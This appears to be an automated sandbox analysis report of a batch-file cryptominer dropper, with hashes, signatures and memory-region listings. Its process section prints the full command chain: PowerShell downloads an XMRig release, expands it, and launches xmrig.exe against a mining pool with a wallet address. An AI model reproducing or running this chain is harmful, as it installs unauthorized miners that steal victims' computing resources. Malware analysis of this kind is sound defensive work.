Analysis

  • max time kernel
    1790s
  • max time network
    1790s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 07:23

General

  • Target

    tesy - Copy (13).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4224
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1244

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bi4ie1e.ruf.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/1244-144-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-167-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-187-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-186-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-185-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-184-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-183-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-182-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-181-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-147-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-180-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-179-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-178-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-177-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-176-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-175-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-174-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-120-0x0000021904FE0000-0x0000021905000000-memory.dmp

    Filesize

    128KB

  • memory/1244-121-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-123-0x00000219979D0000-0x00000219979F0000-memory.dmp

    Filesize

    128KB

  • memory/1244-122-0x0000021905000000-0x0000021905020000-memory.dmp

    Filesize

    128KB

  • memory/1244-124-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-145-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-126-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-128-0x00000219979D0000-0x00000219979F0000-memory.dmp

    Filesize

    128KB

  • memory/1244-127-0x0000021905000000-0x0000021905020000-memory.dmp

    Filesize

    128KB

  • memory/1244-129-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-130-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-131-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-132-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-133-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-134-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-135-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-136-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-137-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-138-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-139-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-140-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-141-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-142-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-143-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-119-0x0000021904F90000-0x0000021904FB0000-memory.dmp

    Filesize

    128KB

  • memory/1244-125-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-173-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-172-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-148-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-149-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-150-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-151-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-152-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-153-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-154-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-155-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-156-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-157-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-158-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-159-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-160-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-161-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-162-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-163-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-164-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-165-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-166-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-146-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-168-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-169-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-170-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/1244-171-0x00007FF7ED580000-0x00007FF7EE083000-memory.dmp

    Filesize

    11.0MB

  • memory/3644-10-0x000001B1BE160000-0x000001B1BE1D6000-memory.dmp

    Filesize

    472KB

  • memory/3644-7-0x000001B1A5E10000-0x000001B1A5E20000-memory.dmp

    Filesize

    64KB

  • memory/3644-4-0x000001B1A5DD0000-0x000001B1A5DF2000-memory.dmp

    Filesize

    136KB

  • memory/3644-6-0x000001B1A5E10000-0x000001B1A5E20000-memory.dmp

    Filesize

    64KB

  • memory/3644-26-0x00007FFAD5AC0000-0x00007FFAD64AC000-memory.dmp

    Filesize

    9.9MB

  • memory/3644-25-0x000001B1A5E10000-0x000001B1A5E20000-memory.dmp

    Filesize

    64KB

  • memory/3644-27-0x000001B1A5E10000-0x000001B1A5E20000-memory.dmp

    Filesize

    64KB

  • memory/3644-28-0x000001B1A5E10000-0x000001B1A5E20000-memory.dmp

    Filesize

    64KB

  • memory/3644-5-0x00007FFAD5AC0000-0x00007FFAD64AC000-memory.dmp

    Filesize

    9.9MB

  • memory/3644-33-0x00007FFAD5AC0000-0x00007FFAD64AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4224-44-0x0000016E90CE0000-0x0000016E90CF0000-memory.dmp

    Filesize

    64KB

  • memory/4224-41-0x00007FFAD5AC0000-0x00007FFAD64AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4224-42-0x0000016E90CE0000-0x0000016E90CF0000-memory.dmp

    Filesize

    64KB

  • memory/4224-65-0x0000016E90CE0000-0x0000016E90CF0000-memory.dmp

    Filesize

    64KB

  • memory/4224-92-0x0000016EA9570000-0x0000016EA957A000-memory.dmp

    Filesize

    40KB

  • memory/4224-79-0x0000016EA9590000-0x0000016EA95A2000-memory.dmp

    Filesize

    72KB

  • memory/4224-116-0x00007FFAD5AC0000-0x00007FFAD64AC000-memory.dmp

    Filesize

    9.9MB